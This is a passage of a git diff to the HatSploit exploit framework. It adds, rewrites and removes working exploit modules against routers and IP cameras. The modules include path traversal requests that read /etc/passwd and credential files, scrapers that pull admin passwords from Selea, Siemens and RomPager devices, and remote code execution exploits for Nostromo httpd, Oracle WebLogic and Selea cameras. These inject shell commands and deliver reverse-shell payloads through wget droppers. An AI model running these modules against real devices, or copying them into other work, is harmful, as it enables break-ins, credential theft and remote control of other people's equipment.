         self.port.set(8291)
 
     creds = []
diff --git a/hatsploit/modules/exploit/linux/movistar/adsl_path_traversal.py b/hatsploit/modules/exploit/linux/movistar/adsl_path_traversal.py
index 71c0e5499..802df0279 100755
--- a/hatsploit/modules/exploit/linux/movistar/adsl_path_traversal.py
+++ b/hatsploit/modules/exploit/linux/movistar/adsl_path_traversal.py
@@ -3,28 +3,39 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import HTTP
+from hatsploit.lib.core.module.basic import *
+from hatsploit.lib.core.module.proto import HTTP
 
 
 class HatSploitModule(Module, HTTP):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Category': "exploit",
-            'Name': "Movistar ADSL Path Traversal",
+            'Name': "Movistar ADSL Router BHS_RTA Path Traversal",
             'Module': "exploit/linux/movistar/adsl_path_traversal",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
-                'Todor Donev - vulnerability researcher',
+                "Ivan Nikolskiy (enty8080) - module developer",
+                "Todor Donev - vulnerability researcher",
             ],
-            'Description': "Path Traversal in Movistar ADSL router BHS_RTA.",
+            'Description': (
+                "Movistar ADSL Router BHS_RTA has a vulnerability exploitation "
+                "of which leads to a path traversal."
+            ),
             'Platform': OS_LINUX,
-            'Rank': "high",
+            'Rank': HIGH_RANK,
+            'References': [
+                {'URL': 'https://www.exploit-db.com/exploits/40734'},
+                {'EDB': 40734}
+            ],
+            'DisclosureDate': "2016-11-08",
+            'Notes': {
+                'Stability': [CRASH_SAFE],
+                'Reliability': [],
+                'SideEffects': [],
+            }
         })
 
-        self.file = Option("/etc/passwd", "File to read.", True)
+        self.file = Option('FILE', "/etc/passwd", "File to read.", True)
 
     def check(self):
         response = self.http_request(
@@ -32,10 +43,10 @@ def check(self):
             path=f'/cgi-bin/webproc?getpage=/etc/passwd&var:language=es_es&var:page=',
         )
 
-        if not response or response.status_code != 200:
-            return False
+        if response and response.status_code == 200:
+            return True
 
-        return True
+        return False
 
     def run(self):
         response = self.http_request(
diff --git a/hatsploit/modules/exploit/linux/netwave/ipcamera_information_disclosure.py b/hatsploit/modules/exploit/linux/netwave/ipcamera_information_disclosure.py
index 1dbaf5a2d..8ab531aaa 100755
--- a/hatsploit/modules/exploit/linux/netwave/ipcamera_information_disclosure.py
+++ b/hatsploit/modules/exploit/linux/netwave/ipcamera_information_disclosure.py
@@ -3,25 +3,35 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import HTTP
+from hatsploit.lib.core.module.basic import *
+from hatsploit.lib.core.module.proto import HTTP
 
 
 class HatSploitModule(Module, HTTP):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Category': "exploit",
             'Name': "Netwave IP Camera Information Disclosure",
             'Module': "exploit/linux/netwave/ipcamera_information_disclosure",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
-                'spiritnull - vulnerability researcher',
+                "Ivan Nikolskiy (enty8080) - module developer",
+                "spiritnull - vulnerability researcher",
             ],
-            'Description': "Netwave IP Camera information disclosure exploit.",
+            'Description': (
+                "Netwave IP Camera information disclosure exploit."
+            ),
             'Platform': OS_LINUX,
-            'Rank': "high",
+            'Rank': HIGH_RANK,
+            'References': [
+                {'URL': 'https://www.exploit-db.com/exploits/41236'},
+                {'EDB': 41236}
+            ],
+            'DisclosureDate': "2017-02-03",
+            'Notes': {
+                'Stability': [CRASH_SAFE],
+                'Reliability': [],
+                'SideEffects': [],
+            }
         })
 
     def check(self):
@@ -30,10 +40,10 @@ def check(self):
             path='/get_status.cgi'
         )
 
-        if not response or response.status_code != 200:
-            return False
+        if response and response.status_code == 200:
+            return True
 
-        return True
+        return False
 
     def run(self):
         response = self.http_request(
diff --git a/hatsploit/modules/exploit/linux/netwave/wpa_information_disclosure.py b/hatsploit/modules/exploit/linux/netwave/wpa_information_disclosure.py
index c9c6dd5de..6ef7e7590 100755
--- a/hatsploit/modules/exploit/linux/netwave/wpa_information_disclosure.py
+++ b/hatsploit/modules/exploit/linux/netwave/wpa_information_disclosure.py
@@ -3,25 +3,35 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import HTTP
+from hatsploit.lib.core.module.basic import *
+from hatsploit.lib.core.module.proto import HTTP
 
 
 class HatSploitModule(Module, HTTP):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Category': "exploit",
             'Name': "Netwave IP Camera WPA Information Disclosure",
             'Module': "exploit/linux/netwave/wpa_information_disclosure",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
-                'spiritnull - vulnerability researcher',
+                "Ivan Nikolskiy (enty8080) - module developer",
+                "spiritnull - vulnerability researcher",
             ],
-            'Description': "WPA information disclosure through Netwave IP Camera.",
+            'Description': (
+                "WPA information disclosure through Netwave IP Camera."
+            ),
             'Platform': OS_LINUX,
-            'Rank': "high",
+            'Rank': HIGH_RANK,
+            'References': [
+                {'URL': 'https://www.exploit-db.com/exploits/41236'},
+                {'EDB': 41236}
+            ],
+            'DisclosureDate': "2017-02-03",
+            'Notes': {
+                'Stability': [CRASH_SAFE],
+                'Reliability': [],
+                'SideEffects': [],
+            }
         })
 
     def check(self):
@@ -30,10 +40,10 @@ def check(self):
             path='//etc/RT2870STA.dat'
         )
 
-        if not response or response.status_code != 200:
-            return False
+        if response and response.status_code == 200:
+            return True
 
-        return True
+        return False
 
     def run(self):
         response = self.http_request(
diff --git a/hatsploit/modules/exploit/linux/nostromo/remote_code_execution.py b/hatsploit/modules/exploit/linux/nostromo/remote_code_execution.py
index 02f18a15a..d4534e755 100755
--- a/hatsploit/modules/exploit/linux/nostromo/remote_code_execution.py
+++ b/hatsploit/modules/exploit/linux/nostromo/remote_code_execution.py
@@ -3,31 +3,55 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import HTTP, TCP
+from hatsploit.lib.core.module.basic import *
+from hatsploit.lib.core.module.proto import HTTP, TCP
 
 
-class HatSploitModule(Module, Handler, TCP, HTTP):
+class HatSploitModule(Module, Handler, HTTP, TCP):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Category': "exploit",
-            'Name': "Nostromo Httpd Remote Code Execution",
+            'Name': "Nostromo httpd Remote Code Execution",
             'Module': "exploit/linux/nostromo/remote_code_execution",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
-                'sp0re (sp0re) - vulnerability researcher',
+                "Ivan Nikolskiy (enty8080) - module developer",
+                "sp0re (sp0re) - vulnerability researcher",
             ],
-            'Description': "Remote Code Execution in Nostromo Httpd.",
+            'Description': (
+                "Nostromo 1.9.6 webserver has a vulnerability leading to a "
+                "remote code execution."
+            ),
             'Platform': OS_LINUX,
-            'Rank': "high",
+            'Rank': HIGH_RANK,
             'Payload': {
-                'Value': "unix/generic/netcat_reverse_tcp",
-                'Platforms': [OS_LINUX, OS_UNIX],
+                PayloadInlineMixin: {
+                    'Value': "unix/generic/netcat_reverse_tcp",
+                    'Platform': [OS_LINUX, OS_UNIX],
+                    'Arch': [ARCH_GENERIC]
+                },
+                PayloadDropMixin: {
+                    'Value': "linux/x64/shell_reverse_tcp",
+                    'Platform': [OS_LINUX]
+                }
+            },
+            'References': [
+                {'URL': 'http://www.nazgul.ch/dev/nostromo-1.9.6.tar.gz'},
+                {'URL': 'https://nvd.nist.gov/vuln/detail/CVE-2019-16278'},
+                {'URL': 'https://www.exploit-db.com/exploits/47837'},
+                {'CVE': '2019-16278'},
+                {'EDB': 47837}
+            ],
+            'DisclosureDate': "2019-10-14",
+            'Notes': {
+                'Stability': [CRASH_SAFE],
+                'Reliability': [RELIABLE_SESSION],
+                'SideEffects': [],
             }
         })
 
+    def __call__(self):
+        self.dropper.set('wget')
+
     def exploit(self, command):
         payload = ""
         payload += "POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0\r\n"
diff --git a/hatsploit/modules/exploit/linux/oracle/weblogic_console_rce.py b/hatsploit/modules/exploit/linux/oracle/weblogic_console_rce.py
deleted file mode 100755
index 5d3fe90fa..000000000
--- a/hatsploit/modules/exploit/linux/oracle/weblogic_console_rce.py
+++ /dev/null
@@ -1,54 +0,0 @@
-"""
-This module requires HatSploit: https://hatsploit.com
-Current source: https://github.com/EntySec/HatSploit
-"""
-
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import HTTP
-
-
-class HatSploitModule(Module, Handler, HTTP):
-    def __init__(self):
-        super().__init__()
-
-        self.details.update({
-            'Category': "exploit",
-            'Name': "Oracle Weblogic console RCE",
-            'Module': "exploit/linux/oracle/weblogic_console_rce",
-            'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
-            ],
-            'Description': "Remote Code Execution in Oracle Weblogic <= 14.1.1.0.0.",
-            'Platform': OS_LINUX,
-            'Rank': "high",
-            'Payload': {
-                'Value': "unix/generic/netcat_reverse_tcp",
-                'Platforms': [OS_LINUX, OS_UNIX],
-            }
-        })
-
-    def exploit(self, command):
-        self.http_request(
-            method="POST",
-            path='/console/images/%252E%252E%252Fconsole.portal',
-            data=(
-                "_nfpb=false&_pageLabel=&handle="
-                f"com.tangosol.coherence.mvel2.sh.ShellSession(\"java.lang.Runtime.getRuntime().exec('{command}');\");"
-            ),
-        )
-
-    def check(self):
-        response = self.http_request(
-            method="GET",
-            path='/console/images/%252E%252E%252Fconsole.portal',
-        )
-
-        if not response or response.status_code != 200:
-            return False
-
-        return True
-
-    def run(self):
-        self.module_handle(
-            sender=self.exploit,
-        )
diff --git a/hatsploit/modules/exploit/linux/rompager/multi_password_disclosure.py b/hatsploit/modules/exploit/linux/rompager/multi_password_disclosure.py
index bdd4798f5..a1079ec89 100755
--- a/hatsploit/modules/exploit/linux/rompager/multi_password_disclosure.py
+++ b/hatsploit/modules/exploit/linux/rompager/multi_password_disclosure.py
@@ -5,29 +5,64 @@
 
 import re
 
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import HTTP
+from hatsploit.lib.core.module.basic import *
+from hatsploit.lib.core.module.proto import HTTP
 
 from pex.string import String
 
 
-class HatSploitModule(Module, HTTP, String):
+class HatSploitModule(Module, HTTP):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Category': "exploit",
             'Name': "RomPager Multi Password Disclosure",
             'Module': "exploit/linux/rompager/multi_password_disclosure",
             'Authors': [
                 'Ivan Nikolskiy (enty8080) - module developer',
             ],
-            'Description': "RomPager multiple devices password disclosure.",
+            'Description': (
+                "Numerious devices using RomPager are vulnerable to a password disclosure "
+                "through extracting it from the downloaded rom-0 file."
+            ),
             'Platform': OS_LINUX,
-            'Rank': "high",
+            'Rank': HIGH_RANK,
+            'Devices': [
+                "AirLive WT-2000ARM (2.11.6.0(RE0.C29)3.7.6.1)",
+                "D-Link DSL-2520U (1.08 Hardware Version: B1)",
+                "D-Link DSL-2640R",
+                "D-Link DSL-2740R (EU_1.13 Hardware Version: A1)",
+                "Huawei 520 HG",
+                "Huawei 530 TRA",
+                "Pentagram Cerberus P 6331-42",
+                "TP-Link TD-8816",
+                "TP-Link TD-8817 (3.0.1 Build 110402 Rel.02846)",
+                "TP-LINK TD-8840T (3.0.0 Build 101208 Rel.36427)",
+                "TP-Link TD-W8901G",
+                "TP-Link TD-W8951ND",
+                "TP-Link TD-W8961ND",
+                "ZTE ZXV10 W300 (W300V1.0.0a_ZRD_CO3)",
+                "ZTE ZXDSL 831CII (ZXDSL 831CIIV2.2.1a_Z43_MD)",
+                "ZynOS",
+                "ZyXEL ES-2024",
+                "ZyXEL Prestige P-2602HW",
+                "ZyXEL Prestige 782R",
+            ],
+            'References': [
+                {'URL': 'https://github.com/EntySec/RomBuster'},
+                {'URL': 'https://nvd.nist.gov/vuln/detail/cve-2014-4019'},
+                {'URL': 'https://www.exploit-db.com/exploits/33803'},
+                {'CVE': '2014-4019'},
+                {'EDB': 33803}
+            ],
+            'DisclosureDate': "2014-06-18",
+            'Notes': {
+                'Stability': [CRASH_SAFE],
+                'Reliability': [],
+                'SideEffects': [],
+            }
         })
 
-        self.username = Option("admin", "Default username.", True)
+        self.username = Option('USER', "admin", "Default username.", True)
 
     def check(self):
         response = self.http_request(
@@ -35,10 +70,10 @@ def check(self):
             path='/rom-0'
         )
 
-        if not response or response.status_code != 200:
-            return False
+        if response and response.status_code == 200:
+            return True
 
-        return True
+        return False
 
     def run(self):
         response = self.http_request(
@@ -46,7 +81,7 @@ def run(self):
             path='/rom-0'
         )
 
-        result = self.lzs_decompress(response.content[8568:])
+        result = String().lzs_decompress(response.content[8568:])
         password = re.findall("([\040-\176]{5,})", result)
 
         if password:
diff --git a/hatsploit/modules/exploit/linux/selea/anpr_authenticated_rce.py b/hatsploit/modules/exploit/linux/selea/anpr_authenticated_rce.py
deleted file mode 100755
index 720ee9472..000000000
--- a/hatsploit/modules/exploit/linux/selea/anpr_authenticated_rce.py
+++ /dev/null
@@ -1,59 +0,0 @@
-"""
-This module requires HatSploit: https://hatsploit.com
-Current source: https://github.com/EntySec/HatSploit
-"""
-
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import HTTP
-
-
-class HatSploitModule(Module, Handler, HTTP):
-    def __init__(self):
-        super().__init__()
-
-        self.details.update({
-            'Category': "exploit",
-            'Name': "Selea ANPR Camera Authenticated RCE",
-            'Module': "exploit/linux/selea/anpr_authenticated_rce",
-            'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
-                'LiquidWorm (liquidworm) - vulnerability researcher',
-            ],
-            'Description': "Selea ANPR Camera authenticated remote code execution.",
-            'Platform': OS_LINUX,
-            'Rank': "high",
-            'Payload': {
-                'Value': "unix/generic/netcat_reverse_tcp",
-                'Arches': [ARCH_ARMLE, ARCH_GENERIC],
-                'Platforms': [OS_LINUX, OS_UNIX],
-            }
-        })
-
-        self.username = Option(None, "Username for authentication.", True)
-        self.password = Option(None, "Password for authentication.", True)
-
-    def exploit(self, command):
-        self.http_request(
-            method="GET",
-            path=f'/cgi-bin/utils.php?cmd=addr_check&addr=1.3.3.7\\ $({command})&type=port&port=80',
-            auth=(self.username.value, self.password.value),
-            output=False,
-        )
-
-    def check(self):
-        response = self.http_request(
-            method="GET",
-            path=f'/cgi-bin/utils.php?cmd=addr_check&addr=1.3.3.7\\ $(echo)&type=port&port=80',
-            auth=(self.username.value, self.password.value),
-            output=False,
-        )
-
-        if not response or response.status_code != 200:
-            return False
-
-        return True
-
-    def run(self):
-        self.module_handle(
-            sender=self.exploit,
-        )
diff --git a/hatsploit/modules/exploit/linux/selea/anpr_password_disclosure.py b/hatsploit/modules/exploit/linux/selea/anpr_password_disclosure.py
deleted file mode 100755
index 4b1a006f6..000000000
--- a/hatsploit/modules/exploit/linux/selea/anpr_password_disclosure.py
+++ /dev/null
@@ -1,58 +0,0 @@
-"""
-This module requires HatSploit: https://hatsploit.com
-Current source: https://github.com/EntySec/HatSploit
-"""
-
-import json
-
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import HTTP
-
-
-class HatSploitModule(Module, HTTP):
-    def __init__(self):
-        super().__init__()
-
-        self.details.update({
-            'Category': "exploit",
-            'Name': "Selea ANPR Camera Password Disclosure",
-            'Module': "exploit/linux/selea/anpr_password_disclosure",
-            'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
-                'LiquidWorm (liquidworm) - vulnerability researcher',
-            ],
-            'Description': "Selea ANPR Camera password disclosure exploit.",
-            'Platform': OS_LINUX,
-            'Rank': "high",
-        })
-
-        self.username = Option("admin", "Default username.", True)
-
-    def check(self):
-        response = self.http_request(
-            method="GET",
-            path='/CFCARD/images/SeleaCamera/../../../../../../../../../../mnt/data/auth/users.json',
-        )
-
-        if not response or response.status_code != 200:
-            return False
-
-        return True
-
-    def run(self):
-        response = self.http_request(
-            method="GET",
-            path='/CFCARD/images/SeleaCamera/../../../../../../../../../../mnt/data/auth/users.json',
-        )
-
-        try:
-            creds = json.loads(response.text)
-            password = creds['root_pwd']
-
-            self.print_table(
-                "Credentials", ('Username', 'Password'), (self.username.value, password)
-            )
-        except Exception:
-            self.print_warning(
-                f"Target vulnerable, but default username is not {self.username.value}."
-            )
diff --git a/hatsploit/modules/exploit/linux/selea/anpr_path_traversal.py b/hatsploit/modules/exploit/linux/selea/anpr_path_traversal.py
deleted file mode 100755
index 7642934d9..000000000
--- a/hatsploit/modules/exploit/linux/selea/anpr_path_traversal.py
+++ /dev/null
@@ -1,49 +0,0 @@
-"""
-This module requires HatSploit: https://hatsploit.com
-Current source: https://github.com/EntySec/HatSploit
-"""
-
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import HTTP
-
-
-class HatSploitModule(Module, HTTP):
-    def __init__(self):
-        super().__init__()
-
-        self.details.update({
-            'Category': "exploit",
-            'Name': "Selea ANPR Path Traversal",
-            'Module': "exploit/linux/selea/anpr_path_traversal",
-            'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
-                'LiquidWorm (liquidworm) - vulnerability researcher',
-            ],
-            'Description': "Path Traversal in Selea ANPR Camera.",
-            'Platform': OS_LINUX,
-            'Rank': "high",
-        })
-
-        self.file = Option("/etc/passwd", "File to read.", True)
-
-    def check(self):
-        response = self.http_request(
-            method="GET",
-            path=f'/CFCARD/images/SeleaCamera/../../../../../../../../../..//etc/passwd',
-        )
-
-        if not response or response.status_code != 200:
-            return False
-
-        return True
-
-    def run(self):
-        response = self.http_request(
-            method="GET",
-            path=f'/CFCARD/images/SeleaCamera/../../../../../../../../../../{self.file.value}',
-        )
-
-        if response:
-            self.print_empty(f"\n{response}")
-        else:
-            self.print_warning("File is empty.")
diff --git a/hatsploit/modules/exploit/linux/selea/targa_anpr_authenticated_rce.py b/hatsploit/modules/exploit/linux/selea/targa_anpr_authenticated_rce.py
new file mode 100755
index 000000000..2be6b7c9c
--- /dev/null
+++ b/hatsploit/modules/exploit/linux/selea/targa_anpr_authenticated_rce.py
@@ -0,0 +1,91 @@
+"""
+This module requires HatSploit: https://hatsploit.com
+Current source: https://github.com/EntySec/HatSploit
+"""
+
+from hatsploit.lib.core.module.basic import *
+from hatsploit.lib.core.module.proto import HTTP
+
+
+class HatSploitModule(Module, Handler, HTTP):
+    def __init__(self):
+        super().__init__({
+            'Category': "exploit",
+            'Name': "Selea Targa OCR-ANPR Camera Authenticated RCE",
+            'Module': "exploit/linux/selea/targa_anpr_authenticated_rce",
+            'Authors': [
+                "Ivan Nikolskiy (enty8080) - module developer",
+                "LiquidWorm - vulnerability researcher",
+            ],
+            'Description': (
+                "Selea Targa OCR-ANPR multiple models have a vulnerability that leads "
+                "to a password disclosure."
+            ),
+            'Platform': OS_LINUX,
+            'Rank': HIGH_RANK,
+            'Payload': {
+                PayloadInlineMixin: {
+                    'Value': "unix/generic/bash_reverse_tcp",
+                    'Platform': [OS_LINUX, OS_UNIX],
+                    'Arch': [ARCH_GENERIC]
+                },
+                PayloadDropMixin: {
+                    'Value': "linux/armle/shell_reverse_tcp",
+                    'Platform': [OS_LINUX],
+                    'Arch': [ARCH_AARCH64, ARCH_ARMLE]
+                }
+            },
+            'Devices': [
+                "Selea iZero",
+                "Selea Targa 512",
+                "Selea Targa 504",
+                "Selea Targa Semplice",
+                "Selea Targa 704 TKM",
+                "Selea Targa 805",
+                "Selea Targa 710 INOX",
+                "Selea Targa 750",
+                "Selea Targa 704 ILB"
+            ],
+            'References': [
+                {'URL': 'https://www.exploit-db.com/exploits/49460'},
+                {'EDB': 49460}
+            ],
+            'DisclosureDate': "2021-01-22",
+            'Notes': {
+                'Stability': [CRASH_SAFE],
+                'Reliability': [RELIABLE_SESSION],
+                'SideEffects': [],
+            }
+        })
+
+        self.username = Option(None, "Username for authentication.", True)
+        self.password = Option(None, "Password for authentication.", True)
+
+    def __call__(self):
+        self.dropper.set('wget')
+
+    def exploit(self, command):
+        self.http_request(
+            method="GET",
+            path=f'/cgi-bin/utils.php?cmd=addr_check&addr=1.3.3.7\\ $({command})&type=port&port=80',
+            auth=(self.username.value, self.password.value),
+            output=False,
+        )
+
+    def check(self):
+        response = self.http_request(
+            method="GET",
+            path=f'/cgi-bin/utils.php?cmd=addr_check&addr=1.3.3.7\\ $(echo)&type=port&port=80',
+            auth=(self.username.value, self.password.value),
+            output=False,
+        )
+
+        if response and response.status_code == 200:
+            return True
+
+        return False
+
+    def run(self):
+        self.module_handle(
+            sender=self.exploit,
+        )
diff --git a/hatsploit/modules/exploit/linux/selea/targa_anpr_password_disclosure.py b/hatsploit/modules/exploit/linux/selea/targa_anpr_password_disclosure.py
new file mode 100755
index 000000000..bcda2c197
--- /dev/null
+++ b/hatsploit/modules/exploit/linux/selea/targa_anpr_password_disclosure.py
@@ -0,0 +1,80 @@
+"""
+This module requires HatSploit: https://hatsploit.com
+Current source: https://github.com/EntySec/HatSploit
+"""
+
+import json
+
+from hatsploit.lib.core.module.basic import *
+from hatsploit.lib.core.module.proto import HTTP
+
+
+class HatSploitModule(Module, HTTP):
+    def __init__(self):
+        super().__init__({
+            'Category': "exploit",
+            'Name': "Selea Targa OCR-ANPR Camera Password Disclosure",
+            'Module': "exploit/linux/selea/targa_anpr_password_disclosure",
+            'Authors': [
+                "Ivan Nikolskiy (enty8080) - module developer",
+                "LiquidWorm - vulnerability researcher",
+            ],
+            'Description': (
+                "Selea Targa OCR-ANPR multiple models have a vulnerability that leads "
+                "to a password disclosure."
+            ),
+            'Platform': OS_LINUX,
+            'Rank': HIGH_RANK,
+            'Devices': [
+                "Selea iZero",
+                "Selea Targa 512",
+                "Selea Targa 504",
+                "Selea Targa Semplice",
+                "Selea Targa 704 TKM",
+                "Selea Targa 805",
+                "Selea Targa 710 INOX",
+                "Selea Targa 750",
+                "Selea Targa 704 ILB"
+            ],
+            'References': [
+                {'URL': 'https://www.exploit-db.com/exploits/49456'},
+                {'EDB': 49456}
+            ],
+            'DisclosureDate': "2021-01-22",
+            'Notes': {
+                'Stability': [CRASH_SAFE],
+                'Reliability': [],
+                'SideEffects': [],
+            }
+        })
+
+        self.username = Option('USER', "admin", "Default username.", True)
+
+    def check(self):
+        response = self.http_request(
+            method="GET",
+            path='/CFCARD/images/SeleaCamera/../../../../../../../../../../mnt/data/auth/users.json',
+        )
+
+        if response and response.status_code == 200:
+            return True
+
+        return False
+
+    def run(self):
+        response = self.http_request(
+            method="GET",
+            path='/CFCARD/images/SeleaCamera/../../../../../../../../../../mnt/data/auth/users.json',
+        )
+
+        try:
+            creds = json.loads(response.text)
+            password = creds['root_pwd']
+
+            self.print_table(
+                "Credentials", ('Username', 'Password'), (self.username.value, password)
+            )
+        except Exception:
+            self.print_warning(
+                f"Target vulnerable, but default username is not {self.username.value}."
+            )
diff --git a/hatsploit/modules/exploit/linux/selea/targa_anpr_path_traversal.py b/hatsploit/modules/exploit/linux/selea/targa_anpr_path_traversal.py
new file mode 100755
index 000000000..60c0621c2
--- /dev/null
+++ b/hatsploit/modules/exploit/linux/selea/targa_anpr_path_traversal.py
@@ -0,0 +1,71 @@
+"""
+This module requires HatSploit: https://hatsploit.com
+Current source: https://github.com/EntySec/HatSploit
+"""
+
+from hatsploit.lib.core.module.basic import *
+from hatsploit.lib.core.module.proto import HTTP
+
+
+class HatSploitModule(Module, HTTP):
+    def __init__(self):
+        super().__init__({
+            'Category': "exploit",
+            'Name': "Selea Targa OCR-ANPR Camera Path Traversal",
+            'Module': "exploit/linux/selea/targa_anpr_path_traversal",
+            'Authors': [
+                "Ivan Nikolskiy (enty8080) - module developer",
+                "LiquidWorm - vulnerability researcher",
+            ],
+            'Description': (
+                "Selea Targa OCR-ANPR multiple models have a vulnerability that leads "
+                "to a path traversal."
+            ),
+            'Platform': OS_LINUX,
+            'Rank': HIGH_RANK,
+            'Devices': [
+                "Selea iZero",
+                "Selea Targa 512",
+                "Selea Targa 504",
+                "Selea Targa Semplice",
+                "Selea Targa 704 TKM",
+                "Selea Targa 805",
+                "Selea Targa 710 INOX",
+                "Selea Targa 750",
+                "Selea Targa 704 ILB"
+            ],
+            'References': [
+                {'URL': 'https://www.exploit-db.com/exploits/49456'},
+                {'EDB': 49456}
+            ],
+            'DisclosureDate': "2021-01-22",
+            'Notes': {
+                'Stability': [CRASH_SAFE],
+                'Reliability': [],
+                'SideEffects': [],
+            }
+        })
+
+        self.file = Option('FILE', "/etc/passwd", "File to read.", True)
+
+    def check(self):
+        response = self.http_request(
+            method="GET",
+            path=f'/CFCARD/images/SeleaCamera/../../../../../../../../../..//etc/passwd',
+        )
+
+        if response and response.status_code == 200:
+            return True
+
+        return False
+
+    def run(self):
+        response = self.http_request(
+            method="GET",
+            path=f'/CFCARD/images/SeleaCamera/../../../../../../../../../../{self.file.value}',
+        )
+
+        if response:
+            self.print_empty(f"\n{response}")
+        else:
+            self.print_warning("File is empty.")
diff --git a/hatsploit/modules/exploit/linux/siemens/ccms2025_credentials_disclosure.py b/hatsploit/modules/exploit/linux/siemens/ccms2025_credentials_disclosure.py
new file mode 100755
index 000000000..e4cb479d1
--- /dev/null
+++ b/hatsploit/modules/exploit/linux/siemens/ccms2025_credentials_disclosure.py
@@ -0,0 +1,73 @@
+"""
+This module requires HatSploit: https://hatsploit.com
+Current source: https://github.com/EntySec/HatSploit
+"""
+
+from hatsploit.lib.core.module.basic import *
+from hatsploit.lib.core.module.proto import HTTP
+
+
+class HatSploitModule(Module, HTTP):
+    def __init__(self):
+        super().__init__({
+            'Category': "exploit",
+            'Name': "SIEMENS CCMS2025 Credentials Disclosure",
+            'Module': "exploit/linux/siemens/ccms2025_credentials_disclosure",
+            'Authors': [
+                "Ivan Nikolskiy (enty8080) - module developer",
+                "Yakir Wizman - vulnerability researcher"
+            ],
+            'Description': (
+                "SIEMENS IP-Camera CCMS2025(-IR) has a vulnerability exploitation of "
+                "which leading to a credentials disclosure."
+            ),
+            'Platform': OS_LINUX,
+            'Rank': HIGH_RANK,
+            'Devices': [
+                "SIEMENS IP-Camera CVMS2025-IR - firmware x.2.2.1798, CxMS2025_V2458_SP1, x.2.2.1798, x.2.2.1235",
+                "SIEMENS IP-Camera CCMS2025 - firmware x.2.2.1798, CxMS2025_V2458_SP1, x.2.2.1798, x.2.2.1235"
+            ],
+            'References': [
+                {'URL': 'https://www.exploit-db.com/exploits/40254'},
+                {'EDB': 40254}
+            ],
+            'DisclosureDate': "2016-08-17",
+            'Notes': {
+                'Stability': [CRASH_SAFE],
+                'Reliability': [],
+                'SideEffects': [],
+            }
+        })
+
+    def check(self):
+        response = self.http_request(
+            method="GET",
+            path='/cgi-bin/readfile.cgi?query=ADMINID',
+        )
+
+        if response and response.status_code == 200:
+            return True
+
+        return False
+
+    def run(self):
+        response = self.http_request(
+            method="GET",
+            path='/cgi-bin/readfile.cgi?query=ADMINID',
+        )
+
+        try:
+            username = (
+                response.text.split(';')[0].replace('var Adm_ID="', '', 1)[0:-1].strip()
+            )
+            password = (
+                response.text.split(';')[1]
+                .replace('var Adm_Pass1="', '', 1)[0:-1]
+                .strip()
+            )
+
+            self.print_table(
+                "Credentials", ('Username', 'Password'), (username, password)
+            )
+        except Exception:
+            self.print_warning("Target vulnerable, but no credentials found.")
diff --git a/hatsploit/modules/exploit/linux/siemens/ccms2025_path_traversal.py b/hatsploit/modules/exploit/linux/siemens/ccms2025_path_traversal.py
new file mode 100755
index 000000000..bbb4d1ffb
--- /dev/null
+++ b/hatsploit/modules/exploit/linux/siemens/ccms2025_path_traversal.py
@@ -0,0 +1,64 @@
+"""
+This module requires HatSploit: https://hatsploit.com
+Current source: https://github.com/EntySec/HatSploit
+"""
+
+from hatsploit.lib.core.module.basic import *
+from hatsploit.lib.core.module.proto import HTTP
+
+
+class HatSploitModule(Module, HTTP):
+    def __init__(self):
+        super().__init__({
+            'Category': "exploit",
+            'Name': "SIEMENS CCMS2025 Path Traversal",
+            'Module': "exploit/linux/siemens/ccms2025_path_traversal",
+            'Authors': [
+                "Ivan Nikolskiy (enty8080) - module developer",
+                "Yakir Wizman - vulnerability researcher"
+            ],
+            'Description': (
+                "SIEMENS IP-Camera CCMS2025(-IR) has a vulnerability exploitation of "
+                "which leading to a path traversal."
+            ),
+            'Platform': OS_LINUX,
+            'Rank': HIGH_RANK,
+            'Devices': [
+                "SIEMENS IP-Camera CVMS2025-IR - firmware x.2.2.1798, CxMS2025_V2458_SP1, x.2.2.1798, x.2.2.1235",
+                "SIEMENS IP-Camera CCMS2025 - firmware x.2.2.1798, CxMS2025_V2458_SP1, x.2.2.1798, x.2.2.1235"
+            ],
+            'References': [
+                {'URL': 'https://www.exploit-db.com/exploits/40254'},
+                {'EDB': 40254}
+            ],
+            'DisclosureDate': "2016-08-17",
+            'Notes': {
+                'Stability': [CRASH_SAFE],
+                'Reliability': [],
+                'SideEffects': [],
+            }
+        })
+
+        self.file = Option('FILE', "/etc/passwd", "File to read.", True)
+
+    def check(self):
+        response = self.http_request(
+            method="GET",
+            path=f'/cgi-bin/check.cgi?file=../../..//etc/passwd',
+        )
+
+        if response and response.status_code == 200:
+            return True
+
+        return False
+
+    def run(self):
+        response = self.http_request(
+            method="GET",
+            path=f'/cgi-bin/check.cgi?file=../../../{self.file.value}',
+        )
+
+        if response.text:
+            self.print_empty(f"\n{response.text}")
+        else:
+            self.print_warning("File is empty.")
diff --git a/hatsploit/modules/exploit/linux/siemens/multi_credentials_disclosure.py b/hatsploit/modules/exploit/linux/siemens/multi_credentials_disclosure.py
deleted file mode 100755
index f95c42af2..000000000
